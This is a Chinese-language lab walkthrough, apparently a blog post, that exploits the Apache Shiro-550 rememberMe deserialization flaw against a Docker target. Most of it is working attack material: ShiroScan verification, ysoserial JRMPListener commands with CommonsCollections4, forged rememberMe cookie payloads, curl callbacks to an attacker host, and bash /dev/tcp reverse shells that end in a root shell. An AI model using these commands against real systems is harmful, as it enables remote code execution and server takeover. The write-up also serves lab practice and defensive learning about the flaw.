Shiro550-post型漏洞(验证+利用+反弹shell)

2023-03-06 10:54:39 浏览数 (3)

Shiro550作为2020年HW的经典漏洞,引无数英雄竞折腰

当年比赛许多同学通过550拿下过各地核心目标和难打目标,自己参与其中无论从攻击还是防御溯源都受益匪浅

虽是两年前写的本地测试WP,漏洞依然经典,分享下


常见条件

一般shiro550的post隐患点在登录口,返回包存在rememberMe=deleteme;参数的,可以尝试测试shiro-550-post方式是否可以利用

获取环境

拉取镜像到本地

代码语言:javascript复制
$ docker pull medicean/vulapps:s_shiro_1

启动环境

代码语言:javascript复制
$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

靶机:XXX.XXX.XXX.XXX:9956

攻击机:XXX.XXX.XXX.XXX:2345

工具:ShiroScan 

启动靶机

代码语言:javascript复制
service docker start
代码语言:javascript复制
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 9956:8080 medicean/vulapps:s_shiro_1            // 9956代表靶机开放的服务端口

访问:XXX.XXX.XXX.XXX:9956      靶机生成成功

漏洞验证

代码语言:javascript复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master# python shiro_rce.py http://XXX.XXX.XXX.XXX/admin/login "ping XXX.ceye.io"

访问dnslog.cn

访问ceye平台,发现有dns记录,则说明命令执行成功,该点存在漏洞

正常命令执行结果

攻击机:上开启nc监听本地2345端口

代码语言:javascript复制
nc -lvvp 2345

靶机:148.70.144.198:9956执行‘curl 132.232.75.164:2345’命令:

代码语言:javascript复制
curl 132.232.75.164:2345

攻击机上查看nc回显,发现靶机命令执行成功,攻击机上回显了靶机命令操作后结果

漏洞利用

代码语言:javascript复制
备注:几个坑点
(1)关于curl回显只能使用CommonsCollections4模块调用才能成功
(2)rememberMe值是会变化的,执行失败需要重新生成再替换注入

1.在攻击机上执行:(意思是将‘curl xxx.xxx.xxx.xxx:2345’命令对靶机9956端口发送请求,令靶机执行,开启针对靶机9956端口的监听)

代码语言:javascript复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9956 CommonsCollections4 'curl xxx.xxx.xxx.xxx:2345'

2.攻击机开启NC监听(执行payload后返回的命令回显于nc)

代码语言:javascript复制
nc -lvvp 2345

3.在攻击机上执行 poc.py,意思是将本机IP伪造为目标机端口执行,注意IP是攻击机IP,端口是靶机端口:

代码语言:javascript复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# python poc.py XXX.XXX.XXX.XXX:9956
rememberMe=3ISkYwsZQQOCX1ChLxTLmOknsb5kOolTjEJb05MTMkj1OMuXrDNICACVqE4xhL5eTtnl3wMWfMuWQQJ5TVzflEhCuKdGIv/6mGFi7shsfHD4JXcZVV4rptnYdZUmeHvX5UgyQiNULJjb 42E2kdhr9i1pbdMMhdVthO2pX2YznsMOknkndxOVdGUH g/eS84uAbvQdf1zIaU/6S6JiEDRgR UWm/h6Ap5lTQCGHXeiw GIW3GrViipcVphFLudkT8bIc2S97rrcy4 ymW8puMKzNwmrLXxwnC4HVG4oiwTMRmGJCJMTa13nAGMYOkP3Jo3/b5t3NLoDO8rdCFC82JJxTk788lada6SObtcERLDILah7SfiE32AO4yGYte6pI jwzlXTUL6i/5kKOCSsfwg==

4.接下来就是对登录口进行抓包,对rememberMe值进行添加替换,注意执行成功会有1秒左右卡顿返回包才返回,才说明你成功了。

5.查看远程监听的靶机9956端口的监听情况,发现有连接请求:

6.查看nc监听的本地2345端口,发现我们对靶机XXX.XXX.XXX.XXX:9956执行的命令‘curl XXX.XXX.XXX.XXX’的命令回显,已经在nc中建立接收到,说明远程命令执行已经成功。漏洞利用成功

反弹shell(正常命令执行结果)

1.在攻击机上开启nc监听本地2345端口

代码语言:javascript复制
nc -lvvp 2345

2.在靶机上执行命令,意思是将靶机shell反弹至攻击机上,命令执行成功:

代码语言:javascript复制
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2345 0>&1

3.在攻击机上查看nc回显,发现靶机命令执行成功,攻击机上回显了靶机命令操作后结果

反弹shell(从漏洞层利用)

在线bash加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

1.我们真正想在靶机上执行的命令:

代码语言:javascript复制
bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/2345 0>&1

2.在攻击机上执行:(意思是将‘bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2345 0>&1

’在靶机上执行,将shell反弹至攻击机xxx.xxx.xxx.xxx的2345端口,)CommonsCollections4和CommonsBeanutils1一样可以反弹shell:

代码语言:javascript复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule#
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9956 CommonsCollections4 'bash -c {echo,xxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}'

3.攻击机开启NC监听(执行payload后返回的命令回显于nc)

代码语言:javascript复制
nc -lvvp 2345

4.在攻击机上执行 poc.py,意思是将本机IP伪造为目标机端口执行,注意IP是攻击机IP,端口是靶机端口:

代码语言:javascript复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# 
python poc.py XXX.XXX.XXX.XXX:9956 rememberMe=JHKeKz9hRJ oyUnsm4S4Ia 9ss1VDJQDN2RrnW/YAxroUmJ0j2wia4RPub4BbtphsjEV8TWK0ngzPqeKoYHbVU8yE5uPqE5ENjQtTHM6mDCb1p4JGjS0oFd8wekHcNhdEoU8jzO7SNpTQoUgE5R2AXyRNrlPTkf6yMtxuEZ6ewWpttWUuO4qxQpzmY72VYtijJIXNEAI8xB6tq8DIEIsNLm3VEBM8WTlOzEDBsVLSxwGu89AhWWnEqPXVwcViuFjYKo37 BTnN8E22a6scyYqS25pTxXwDCtiPBVHNoHavfSPRJJlAf67kw3CF25ETHrHnbO PithkTYfji g4 iLoZHoPFW6r4mWCWbRTAj9/JH yGvgcvVYK ziTRfofWF4hgzYImQDQgGP4S0isU02g==

5.接下来就是对登录口进行抓包,对rememberMe值进行添加替换,注意执行成功会有1秒左右卡顿返回包才返回,才说明你成功了。

6.查看nc监听的本地2345端口,发现我们对靶机XXX.XXX.XXX.XXX:9956执行的命令回显,已经在nc中建立接收到,说明远程命令执行已经成功。漏洞利用成功,拿下root权限shell

1 人点赞